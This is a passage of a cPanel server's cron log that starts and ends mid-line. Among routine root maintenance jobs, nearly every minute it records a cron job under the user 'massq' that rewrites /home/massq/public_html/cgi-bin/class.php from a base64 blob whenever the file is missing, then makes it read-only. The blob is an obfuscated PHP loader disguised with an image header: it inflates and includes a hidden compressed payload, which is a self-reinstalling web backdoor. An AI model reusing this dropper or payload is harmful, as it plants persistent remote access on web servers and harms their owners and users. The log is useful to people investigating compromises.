 | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:05:01 server CROND[18764]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:05:01 server CROND[18766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:05:01 server CROND[18761]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:06:01 server CROND[19597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:06:01 server CROND[19598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:06:01 server CROND[19596]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:07:01 server CROND[20178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:07:01 server CROND[20179]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:07:01 server CROND[20177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:08:01 server CROND[20567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:08:01 server CROND[20568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:08:01 server CROND[20566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:09:01 server CROND[20945]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:09:01 server CROND[20946]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 06:09:01 server CROND[20947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:09:01 server CROND[20948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:10:01 server CROND[21328]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 06:10:01 server CROND[21332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:10:01 server CROND[21333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:10:01 server CROND[21335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:10:01 server CROND[21342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:10:01 server CROND[21346]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:10:01 server CROND[21347]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:10:01 server CROND[21350]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:11:01 server CROND[22199]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:11:01 server CROND[22200]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:11:01 server CROND[22201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:12:01 server CROND[22673]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:12:01 server CROND[22674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:12:01 server CROND[22675]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 06:12:01 server CROND[22676]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:13:01 server CROND[23230]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:13:01 server CROND[23231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:13:01 server CROND[23232]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:14:01 server CROND[23598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:14:01 server CROND[23599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:14:01 server CROND[23600]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:15:01 server CROND[23992]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 06:15:01 server CROND[23996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:15:01 server CROND[23997]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 06:15:01 server CROND[23998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 06:15:01 server CROND[24010]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 06:15:01 server CROND[24004]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:15:01 server CROND[24009]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 12 06:15:01 server CROND[24006]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 06:15:01 server CROND[24003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:15:01 server CROND[24005]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 06:16:01 server CROND[24866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:16:01 server CROND[24868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 06:16:01 server CROND[24867]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:17:01 server CROND[25235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 06:17:01 server CROND[25236]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 06:17:01 server CROND[25237]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1